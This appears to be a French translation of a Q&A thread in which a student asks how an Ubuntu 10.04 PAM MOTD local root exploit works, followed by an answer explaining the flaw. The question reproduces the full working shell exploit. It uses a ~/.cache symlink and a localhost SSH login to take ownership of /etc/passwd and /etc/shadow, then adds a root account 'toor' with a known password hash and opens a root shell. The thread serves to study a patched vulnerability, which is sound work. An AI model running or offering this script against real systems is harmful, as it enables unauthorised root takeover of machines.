web-dev-qa-db-fra.com

Comment cet exploit a-t-il permis l'accès en écriture aux fichiers appartenant à la racine?

Pour une mission de sécurité informatique dans mon université, je dois trouver et comprendre un exploit qui fonctionne sous Ubuntu 10.04. J'ai déjà trouvé et testé un sur une machine Ubuntu 10.04 (que je possède)

C'est l'exploit, exécuté en tant qu'utilisateur normal qui vous donne un accès root. Tiré du site Web de sécurité offensive.

P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
    [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
    [ -e "$1" ] || return 0
    mv "$1"{,.bak} || return 1
    echo "[*] Backuped $1"
}
restore() {
    [ -e "$1" ] && rm -rf "$1"
    [ -e "$1".bak ] || return 0
    mv "$1"{.bak,} || return 1
    echo "[*] Restored $1"
}
key_create() {
    backup ~/.ssh/authorized_keys
    ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
    [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
    mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
    echo "[*] SSH key set up"
}
key_remove() {
    rm -f "$KEY"
    restore ~/.ssh/authorized_keys
    echo "[*] SSH key removed"
}
own() {
    [ -e ~/.cache ] && rm -rf ~/.cache
    ln -s "$1" ~/.cache || return 1
    echo "[*] spawn ssh"
    ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
    [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
    echo "[+] owned: $1"
}
bye() {
    key_remove
    exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
  chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor

Je comprends pourquoi il sauvegarde les fichiers et qu'il génère une clé pour utiliser avec ssh ultérieurement, et qu'il crée un lien souple entre le fichier cache, fichier que l'utilisateur qui exécute le script dispose des droits de lecture et d'écriture. et le fichier que vous souhaitez prendre en charge.

Ce que je ne pas ne comprends pas, c'est pourquoi les echo "$P" >> /etc/passwd et echo "$S" >> /etc/shadow sont créés sur ces fichiers au lieu du cache de fichiers? N'était-ce pas là le but du lien souple entre ces fichiers et le fichier cache pour pouvoir l'écrire?

Comment $USER a-t-il l'autorisation, à ce stade du script, d'écrire à la fois sur shadow et sur passwd? La réponse est clairement liée à la ssh faite à localhost, mais pourquoi cette ssh accorde-t-elle ces autorisations?

Une fois que j'ai compris ce qui se passe, une fois que les deux fichiers ont été modifiés, l'utilisateur ou les utilisateurs ont les droits root et sont appelés avec la commande su. Mon problème principal est que la compréhension avec ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true vous permette d'obtenir des autorisations d'écriture sur l'ombre et le mot de passe.

permissionssshsecurityroot
7
user282724

C'était n bogue dans pam_motd qui a depuis longtemps corrigé sur:

pam_motd (alias le module MOTD) dans libpam-modules avant 1.1.0-2ubuntu1.1 dans PAM sous Ubuntu 9.10 et libpam-modules avant 1.1.1-2ubuntu5 dans PAM sur Ubuntu 10.04 LTS permet aux utilisateurs locaux de modifier la propriété des fichiers arbitraires via une attaque par un lien symbolique sur .cache dans le répertoire de base d'un utilisateur, liée au "tampon de fichier utilisateur" et au fichier motd.legal-notice.

Cela se traduit essentiellement par, lors de la connexion à SSH, que PAM (le module d’authentification, fonctionnant en tant que root) essaie de chown $USER: ~/.cache. Il n'a pas cherché à savoir ce que c'était alors le changement de propriété se propageait dans le fichier lié.

Cela vous permettait de posséder, puis d'éditer les fichiers système et d'obtenir un accès de niveau racine.

Tandis que .cache était lié de manière symbolique à /etc/{passwd,shadow}, ils auraient pu faire écho à .cache... Mais pourquoi s'embêter? À ce stade, la propriété de ces fichiers a été modifiée pour devenir $USER. Ils étaient librement modifiables.

Juste pour répondre à vos commentaires:

  • Il ne vous donne pas la permission, c'est (ou je devrais dire son module PAM) est ce qui change le propriétaire. Mais oui, le problème a été de résoudre le problème.

  • Le lien symbolique vers ~/.cache n'est qu'une redirection pour l'exploit. Est requis pour que lorsque vous vous connectez à PAM (fonctionnant en tant que root), vous essayez de chown le fichier lié. C'est l'exploit .

  • C'était un oubli et il a été corrigé en supprimant des privilèges avant d'entrer dans l'un de ces codes.

11
Oli